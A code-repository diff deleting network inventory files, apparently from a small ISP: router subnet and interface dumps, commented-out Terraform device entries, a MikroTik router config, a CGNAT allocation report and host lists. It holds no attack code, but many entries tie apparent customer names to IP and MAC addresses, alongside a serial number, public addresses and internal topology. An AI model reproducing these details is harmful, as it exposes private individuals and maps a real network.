"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.188",
|
||||
"interface": "<pppoe-rickbeckham>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.187",
|
||||
"interface": "<pppoe-juanalonzo>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.186",
|
||||
"interface": "<pppoe-davidvillanueva>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.185",
|
||||
"interface": "<pppoe-connorspicer>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.184",
|
||||
"interface": "<pppoe-elisasanders>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.182",
|
||||
"interface": "<pppoe-terryrector>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.180",
|
||||
"interface": "<pppoe-richardrosson>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.183",
|
||||
"interface": "<pppoe-belindamillener>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.179",
|
||||
"interface": "<pppoe-alextovias>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.181",
|
||||
"interface": "<pppoe-shelbyburris>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "combo1",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:BE",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether1",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:BF",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether2",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:C0",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether3",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:C1",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether4",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:C2",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:C3",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:C4",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether7-380",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:66:50:C5",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": 982,
|
||||
"type": "bridge",
|
||||
"mac": "DC:2C:6E:66:50:BE",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-alextovias>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-belindamillener>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-connorspicer>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-coreyball>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-davidvillanueva>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-derrickmccausland>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-elisasanders>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jackworthy>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-joselucas>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-joshuasoliz>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-juanalonzo>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kennethcampbell2>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-krisdougherty>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-melanieweddle>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-nicolemaenn>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-richardrosson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-rickbeckham>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-scottanderson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-shelbyburris>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-terryrector>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-zackknuckey>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge",
|
||||
"mac": "26:96:F5:50:C7:CC",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "mgmt",
|
||||
"type": "bridge",
|
||||
"mac": "DC:2C:6E:66:50:BF",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether1",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:66:50:BF",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether2",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:66:50:C0",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether3",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:66:50:C1",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether4",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:66:50:C2",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether5",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:66:50:C3",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether6",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:66:50:C4",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan10_ether1",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether1"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether2",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether2"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether3",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether3"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether4",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether4"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether5",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether5"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether6",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether6"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": 982,
|
||||
"interface": 982
|
||||
}
|
||||
],
|
||||
"routes": []
|
||||
}
|
||||
51
backhauls.tf
51
backhauls.tf
|
|
@ -1,51 +0,0 @@
|
|||
# resource "towerops_device" "device_982_380_60_lr" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "982_380_60 LR"
|
||||
# ip_address = "10.250.1.34"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
|
||||
# resource "towerops_device" "device_380_982_60_lr" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "380_982_ 60 LR"
|
||||
# ip_address = "10.250.1.37"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
|
||||
|
||||
# resource "towerops_device" "device_380_to_culleoka_11g" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "380 to Culleoka 11g"
|
||||
# ip_address = "10.250.1.53"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
|
||||
|
||||
# resource "towerops_device" "device_380_to_new_hope" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "380 to New Hope"
|
||||
# ip_address = "10.250.1.61"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
|
||||
# resource "towerops_device" "climax_70" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "climax"
|
||||
# ip_address = "10.250.1.70"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
|
||||
|
||||
# resource "towerops_device" "lowry_crossing_to_new_hope" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "Lowry Crossing to New Hope"
|
||||
# ip_address = "10.250.1.106"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
|
||||
# resource "towerops_device" "new_hope_to_lowry_crossing" {
|
||||
# site_id = towerops_site.backhauls.id
|
||||
# name = "new hope to lowry crossing"
|
||||
# ip_address = "10.250.1.109"
|
||||
# snmp_version = "1"
|
||||
# }
|
||||
156
camper.rsc
156
camper.rsc
|
|
@ -1,156 +0,0 @@
|
|||
# 2025-11-27 17:39:07 by RouterOS 7.20.4
|
||||
# software id = DM48-6FY7
|
||||
#
|
||||
# model = RB4011iGS+5HacQ2HnD
|
||||
# serial number = A2820A548561
|
||||
/interface bridge
|
||||
add admin-mac=74:4D:28:1A:67:09 auto-mac=no comment=defconf name=bridgeLocal
|
||||
add name=dockers
|
||||
/interface wireless
|
||||
set [ find default-name=wlan1 ] band=2ghz-g/n mode=ap-bridge ssid=camper \
|
||||
wireless-protocol=802.11
|
||||
/interface ethernet
|
||||
set [ find default-name=ether2 ] name=ether2-starlink
|
||||
set [ find default-name=ether3 ] name=ether3-tmobile
|
||||
/interface veth
|
||||
add address=172.17.0.2/16 dhcp=no gateway=172.17.0.1 gateway6="" name=veth1
|
||||
/interface list
|
||||
add name=WAN
|
||||
add name=LAN
|
||||
/interface wireless security-profiles
|
||||
set [ find default=yes ] authentication-types=wpa-psk,wpa2-psk mode=\
|
||||
dynamic-keys supplicant-identity=MikroTik
|
||||
add authentication-types=wpa-psk,wpa2-psk mode=dynamic-keys name=\
|
||||
wlan2-profile supplicant-identity=MikroTik
|
||||
/interface wireless
|
||||
set [ find default-name=wlan2 ] band=5ghz-n/ac disabled=no mode=ap-bridge \
|
||||
security-profile=wlan2-profile ssid=camper wireless-protocol=802.11 \
|
||||
wps-mode=disabled
|
||||
/ip pool
|
||||
add name=dhcp ranges=10.0.20.1-10.0.20.249
|
||||
/ip dhcp-server
|
||||
add address-pool=dhcp interface=bridgeLocal name=dhcp1
|
||||
/port
|
||||
set 0 name=serial0
|
||||
set 1 name=serial1
|
||||
/interface bridge port
|
||||
add bridge=bridgeLocal comment=defconf interface=ether4
|
||||
add bridge=bridgeLocal comment=defconf interface=ether5
|
||||
add bridge=bridgeLocal comment=defconf interface=ether6
|
||||
add bridge=bridgeLocal comment=defconf interface=ether7
|
||||
add bridge=bridgeLocal comment=defconf interface=ether8
|
||||
add bridge=bridgeLocal comment=defconf interface=ether9
|
||||
add bridge=bridgeLocal comment=defconf interface=ether10
|
||||
add bridge=bridgeLocal comment=defconf interface=sfp-sfpplus1
|
||||
add bridge=bridgeLocal interface=wlan2
|
||||
add bridge=bridgeLocal interface=wlan1
|
||||
add bridge=dockers interface=veth1
|
||||
/interface detect-internet
|
||||
set lan-interface-list=LAN wan-interface-list=dynamic
|
||||
/interface list member
|
||||
add interface=ether2-starlink list=WAN
|
||||
add interface=ether3-tmobile list=WAN
|
||||
add interface=bridgeLocal list=LAN
|
||||
/interface wireless cap
|
||||
set bridge=bridgeLocal discovery-interfaces=bridgeLocal interfaces=\
|
||||
wlan1,wlan2
|
||||
/ip address
|
||||
add address=10.0.20.254/24 interface=bridgeLocal network=10.0.20.0
|
||||
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
|
||||
/ip dhcp-client
|
||||
add comment=tmobile default-route-distance=1 interface=ether3-tmobile
|
||||
# Interface not active
|
||||
add comment=defconf default-route-distance=2 interface=ether2-starlink
|
||||
/ip dhcp-server lease
|
||||
add address=10.0.20.251 client-id=1:2:a6:41:99:eb:4a mac-address=\
|
||||
02:A6:41:99:EB:4A server=dhcp1
|
||||
add address=10.0.20.252 client-id=\
|
||||
ff:7e:7c:b4:ba:0:2:0:0:ab:11:20:5d:5:17:27:4d:31:d5 mac-address=\
|
||||
BC:24:11:24:87:16 server=dhcp1
|
||||
add address=10.0.20.249 client-id=\
|
||||
ff:11:c3:76:34:0:1:0:1:30:a2:27:b8:bc:24:11:c3:76:34 mac-address=\
|
||||
BC:24:11:C3:76:34 server=dhcp1
|
||||
add address=10.0.20.253 mac-address=BC:24:11:E1:EA:98 server=dhcp1
|
||||
/ip dhcp-server network
|
||||
add address=10.0.20.0/24 dns-server=10.0.20.253,9.9.9.9,149.112.112.112 \
|
||||
gateway=10.0.20.254 netmask=24
|
||||
/ip firewall nat
|
||||
add action=masquerade chain=srcnat out-interface-list=WAN
|
||||
/ip route
|
||||
add comment=starlink disabled=no dst-address=192.168.100.1/32 gateway=\
|
||||
192.168.1.1 routing-table=main suppress-hw-offload=no
|
||||
add dst-address=100.64.0.0/10 gateway=172.17.0.2
|
||||
/ip upnp
|
||||
set enabled=yes
|
||||
/ip upnp interfaces
|
||||
add interface=bridgeLocal type=internal
|
||||
add interface=ether1 type=external
|
||||
/ipv6 address
|
||||
# address pool error: pool not found: starlink-v6 (4)
|
||||
add address=::2 from-pool=starlink-v6 interface=bridgeLocal
|
||||
/ipv6 dhcp-client
|
||||
add interface=ether2-starlink pool-name=starlink-v6 rapid-commit=no request=\
|
||||
prefix use-interface-duid=yes
|
||||
/ipv6 firewall address-list
|
||||
add address=::/128 comment="defconf: unspecified address" list=bad_ipv6
|
||||
add address=::1/128 comment="defconf: lo" list=bad_ipv6
|
||||
add address=fec0::/10 comment="defconf: site-local" list=bad_ipv6
|
||||
add address=::ffff:0.0.0.0/96 comment="defconf: ipv4-mapped" list=bad_ipv6
|
||||
add address=::/96 comment="defconf: ipv4 compat" list=bad_ipv6
|
||||
add address=100::/64 comment="defconf: discard only " list=bad_ipv6
|
||||
add address=2001:db8::/32 comment="defconf: documentation" list=bad_ipv6
|
||||
add address=2001:10::/28 comment="defconf: ORCHID" list=bad_ipv6
|
||||
add address=fe80::/10 list=prefix_delegation
|
||||
add address=2605:59c8:4700:5c61::1/128 comment="dhcp6 client server value" \
|
||||
list=prefix_delegation
|
||||
/ipv6 firewall filter
|
||||
add action=accept chain=input dst-port=5678 protocol=udp
|
||||
add action=accept chain=input comment=\
|
||||
"defconf: accept established,related,untracked" connection-state=\
|
||||
established,related,untracked
|
||||
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
|
||||
invalid
|
||||
add action=accept chain=input comment="defconf: accept ICMPv6" protocol=\
|
||||
icmpv6
|
||||
add action=accept chain=input comment="defconf: accept UDP traceroute" port=\
|
||||
33434-33534 protocol=udp
|
||||
add action=accept chain=input comment=\
|
||||
"defconf: accept DHCPv6-Client prefix delegation." dst-port=546 protocol=\
|
||||
udp src-address-list=prefix_delegation
|
||||
add action=drop chain=input comment=\
|
||||
"defconf: drop everything else not coming from LAN" in-interface=\
|
||||
!bridgeLocal
|
||||
add action=accept chain=forward comment=\
|
||||
"defconf: accept established,related,untracked" connection-state=\
|
||||
established,related,untracked
|
||||
add action=drop chain=forward comment="defconf: drop invalid" \
|
||||
connection-state=invalid
|
||||
add action=drop chain=forward comment=\
|
||||
"defconf: drop packets with bad src ipv6" src-address-list=bad_ipv6
|
||||
add action=drop chain=forward comment=\
|
||||
"defconf: drop packets with bad dst ipv6" dst-address-list=bad_ipv6
|
||||
add action=drop chain=forward comment="defconf: rfc4890 drop hop-limit=1" \
|
||||
hop-limit=equal:1 protocol=icmpv6
|
||||
add action=accept chain=forward comment="defconf: accept ICMPv6" protocol=\
|
||||
icmpv6
|
||||
add action=accept chain=forward comment="defconf: accept HIP" protocol=139
|
||||
add action=drop chain=forward comment=\
|
||||
"defconf: drop everything else not coming from LAN" in-interface=\
|
||||
!bridgeLocal
|
||||
/ipv6 nd
|
||||
set [ find default=yes ] advertise-dns=no hop-limit=64 \
|
||||
managed-address-configuration=yes mtu=1280 other-configuration=yes \
|
||||
ra-interval=3m20s-8m20s
|
||||
/ipv6 nd prefix default
|
||||
set preferred-lifetime=10m valid-lifetime=15m
|
||||
/system clock
|
||||
set time-zone-name=America/Chicago
|
||||
/system identity
|
||||
set name=camper
|
||||
/system leds
|
||||
add interface=wlan1 leds="wlan1_signal1-led,wlan1_signal2-led,wlan1_signal3-le\
|
||||
d,wlan1_signal4-led,wlan1_signal5-led" type=wireless-signal-strength
|
||||
add interface=wlan1 leds=wlan1_tx-led type=interface-transmit
|
||||
add interface=wlan1 leds=wlan1_rx-led type=interface-receive
|
||||
/system routerboard settings
|
||||
set auto-upgrade=yes
|
||||
|
|
@ -1,54 +0,0 @@
|
|||
# CGNAT Allocation Analysis
|
||||
|
||||
This report analyzes the CGNAT (100.64.x.x) subnet allocations across all network sites to identify which sites use /22 allocations versus other sizes.
|
||||
|
||||
## Summary
|
||||
|
||||
### Sites Using /22 Allocations
|
||||
1. **Climax** - 100.64.4.0/22 (100.64.4.0 - 100.64.7.255)
|
||||
2. **Culleoka** - 100.64.24.0/22 (100.64.24.0 - 100.64.27.255)
|
||||
3. **Site 982** - 100.64.32.0/22 (100.64.32.0 - 100.64.35.255)
|
||||
4. **New Hope** - 100.64.16.0/22 (100.64.16.0 - 100.64.19.255)
|
||||
5. **Site 380** - 100.64.8.0/22 (100.64.8.0 - 100.64.11.255)
|
||||
|
||||
### Sites Using /20 Allocations
|
||||
1. **Site 494** - 100.64.160.0/20 (100.64.160.0 - 100.64.175.255)
|
||||
2. **Lowry Crossing** - 100.64.144.0/20 (100.64.144.0 - 100.64.159.255)
|
||||
|
||||
## Detailed Site Information
|
||||
|
||||
### /22 Allocations (1,024 addresses each)
|
||||
| Site | CGNAT Subnet | Router IP | Interface |
|
||||
|------|-------------|-----------|-----------|
|
||||
| Climax | 100.64.4.0/22 | 100.64.7.254/22 | climax-bridge |
|
||||
| Culleoka | 100.64.24.0/22 | 100.64.27.254/22 | ether2-netonix |
|
||||
| Site 982 | 100.64.32.0/22 | 100.64.35.254/22 | 982 |
|
||||
| New Hope | 100.64.16.0/22 | 100.64.19.254/22 | sfp-sfpplus1-edgepoint |
|
||||
| Site 380 | 100.64.8.0/22 | 100.64.11.254/22 | combo1-380 |
|
||||
|
||||
### /20 Allocations (4,096 addresses each)
|
||||
| Site | CGNAT Subnet | Router IP | Interface |
|
||||
|------|-------------|-----------|-----------|
|
||||
| Site 494 | 100.64.160.0/20 | 100.64.175.254/20 | 494 |
|
||||
| Lowry Crossing | 100.64.144.0/20 | 100.64.159.254/20 | lowrycrossing |
|
||||
|
||||
## Key Observations
|
||||
|
||||
1. **Allocation Size Pattern**:
|
||||
- 5 sites use /22 allocations (1,024 addresses)
|
||||
- 2 sites use /20 allocations (4,096 addresses)
|
||||
|
||||
2. **Larger Sites**: Sites 494 and Lowry Crossing have 4x larger CGNAT allocations compared to the other sites, suggesting they either serve more customers or were allocated larger blocks for future growth.
|
||||
|
||||
3. **Address Usage**: The /22 sites can support up to 1,022 customer connections (excluding network and broadcast addresses), while the /20 sites can support up to 4,094 customer connections.
|
||||
|
||||
4. **Sequential Allocation**: The /22 allocations appear to be somewhat sequential:
|
||||
- 100.64.4.0/22 (Climax)
|
||||
- 100.64.8.0/22 (Site 380)
|
||||
- 100.64.16.0/22 (New Hope)
|
||||
- 100.64.24.0/22 (Culleoka)
|
||||
- 100.64.32.0/22 (Site 982)
|
||||
|
||||
5. **Separate Range for /20s**: The /20 allocations are in a different part of the CGNAT space:
|
||||
- 100.64.144.0/20 (Lowry Crossing)
|
||||
- 100.64.160.0/20 (Site 494)
|
||||
41132
cgnat_hosts.txt
41132
cgnat_hosts.txt
File diff suppressed because it is too large
Load diff
|
|
@ -1,30 +0,0 @@
|
|||
[
|
||||
{
|
||||
"name": "Gordon Hamilton",
|
||||
"ip": "10.10.16.36",
|
||||
"mac": "FC:EC:DA:CE:69:97",
|
||||
"source": "dhcp",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"name": "Tae Kim",
|
||||
"ip": "10.10.16.70",
|
||||
"mac": "FC:EC:DA:CE:68:19",
|
||||
"source": "dhcp",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"name": "ether5-494",
|
||||
"ip": "10.250.1.65",
|
||||
"mac": "DC:2C:6E:DD:87:55",
|
||||
"source": "arp",
|
||||
"interface": "ether5-494"
|
||||
},
|
||||
{
|
||||
"name": "mgmt",
|
||||
"ip": "10.10.31.13",
|
||||
"mac": "80:2A:A8:FC:1D:AE",
|
||||
"source": "arp",
|
||||
"interface": "mgmt"
|
||||
}
|
||||
]
|
||||
File diff suppressed because it is too large
Load diff
|
|
@ -1,683 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.102",
|
||||
"identity": null,
|
||||
"timestamp": "2026-03-26T17:14:54.781268",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.0.102.254/24",
|
||||
"network": "10.0.102.0",
|
||||
"interface": "ether1-climaxtower",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.254.254.102/32",
|
||||
"network": "10.254.254.102",
|
||||
"interface": "lo",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.62/27",
|
||||
"network": "204.110.188.32",
|
||||
"interface": "climax-bridge",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.254/22",
|
||||
"network": "100.64.4.0",
|
||||
"interface": "climax-bridge",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.14/29",
|
||||
"network": "10.250.1.8",
|
||||
"interface": "ether3-culleoka-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.30/29",
|
||||
"network": "10.250.1.24",
|
||||
"interface": "ether6-verona-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.70/29",
|
||||
"network": "10.250.1.64",
|
||||
"interface": "ether5-494",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.94/29",
|
||||
"network": "10.250.1.88",
|
||||
"interface": "ether4-380-airfiber24",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.31.254/20",
|
||||
"network": "10.10.16.0",
|
||||
"interface": "mgmt",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.247/32",
|
||||
"network": "100.64.7.246",
|
||||
"interface": "<pppoe-robbymccollom>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.245/32",
|
||||
"network": "100.64.7.244",
|
||||
"interface": "<pppoe-matthewgoodwin>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.241/32",
|
||||
"network": "100.64.7.240",
|
||||
"interface": "<pppoe-chasewilliams>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.239/32",
|
||||
"network": "100.64.7.238",
|
||||
"interface": "<pppoe-timgilbert>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.235/32",
|
||||
"network": "100.64.7.234",
|
||||
"interface": "<pppoe-gordonhamilton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.231/32",
|
||||
"network": "100.64.7.230",
|
||||
"interface": "<pppoe-amberprater>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.229/32",
|
||||
"network": "204.110.188.38",
|
||||
"interface": "<pppoe-michaelray>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.228/32",
|
||||
"network": "100.64.7.227",
|
||||
"interface": "<pppoe-cynthiajones>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.224/32",
|
||||
"network": "100.64.7.223",
|
||||
"interface": "<pppoe-janicealexander>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.220/32",
|
||||
"network": "100.64.7.219",
|
||||
"interface": "<pppoe-douggarber>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.218/32",
|
||||
"network": "100.64.7.217",
|
||||
"interface": "<pppoe-marysmelser>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.216/32",
|
||||
"network": "100.64.7.215",
|
||||
"interface": "<pppoe-eddieyarbrough>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.214/32",
|
||||
"network": "204.110.188.42",
|
||||
"interface": "<pppoe-taekim>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.213/32",
|
||||
"network": "100.64.7.212",
|
||||
"interface": "<pppoe-charlesboone>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.211/32",
|
||||
"network": "100.64.7.210",
|
||||
"interface": "<pppoe-chadwhitsell>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.209/32",
|
||||
"network": "100.64.7.208",
|
||||
"interface": "<pppoe-donnacampbell>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.207/32",
|
||||
"network": "100.64.7.206",
|
||||
"interface": "<pppoe-bryangoulart>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.205/32",
|
||||
"network": "100.64.7.204",
|
||||
"interface": "<pppoe-richardbarragan>",
|
||||
"comment": "",
|
||||
